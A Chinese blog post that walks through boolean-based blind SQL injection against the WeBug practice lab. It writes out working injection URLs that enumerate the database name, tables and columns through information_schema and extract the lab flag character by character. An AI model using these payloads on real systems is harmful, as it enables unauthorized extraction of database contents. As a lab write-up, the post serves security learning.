webug 2、布尔注入

思路:先查询数据库长度,再查询数据库名
再查表个数,表长度,表名
再查列个数,列长度,列名
最后查表中对应字段
成功取flag值

url:http://192.168.1.4/control/sqlinject/bool_injection.php?id=1

判断注入点

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1'		报错
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and 1=1 %23	不报错,这里的%23为#的url编码
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and 1=2 %23	报错

查看数据库长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(database())=5 %23	
这里查到数据库长度为5,可使用二分法进行查询

查看数据库名

使用函数ascii(),substr()
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),1,1))=119 %23		
查询数据库的第一个字母为w
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),2,1))=101 %23		
查询数据库的第二个字母为e		修改substr函数的值
以此类推,查询到数据库名为webug

查询数据库中表个数

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and (select count(table_schema) from information_schema.tables where table_schema='webug')=7 %23		
表个数为7

查询数据库中每个表的长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1))=9 %23		
查询出第一个表的长度为9
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema='webug' limit 1,1),1))=8 %23		
查询出第二个表的长度为8	通过limit的值来查询第二个表
以此类推,可查出其他五个表的长度

取flag值

因flag值在第二个表中,故查询第二个表的信息
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 1,1),1))=101 %23		
第二个表的第一个字母为e
以此类推,查询第二表为:env_list

查询表二中有多少个列

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and (select count(column_name) from information_schema.columns where table_name='env_list')=8 %23	
表中有8列

查询表二的第一个列长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=2 %23		
长度为2
查询第二个表第一列的第一个字母
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=105 %23		
第一个字母为i		
以此类推,第二个字母为d,所以,表的第一列为id

查询表二的第二个列长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='env_list' limit 1,1),1))=7 %23		
长度为7
查询第二个表第二个列的第一个字母
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 1,1),1))=101 %23		
第一个字母为e		
以此类推,表的第二个列为envName

因为flag在第六列中,使用上述方法,先查询表二中第六列的长度,再查列的字母,查出第六列为:envFlag

库名:webug
表名:env_list
表中列名:id,envName,…,envFlag,…

查flag值的长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select envFlag from env_list where id=2 limit 0,1),1))=9 %23		
flag值长度为9

查flag值的第一个字母

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1))=102 %23		
flag值的第一个字母为:f
以此类推,flag值为:fdsafsdfa
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值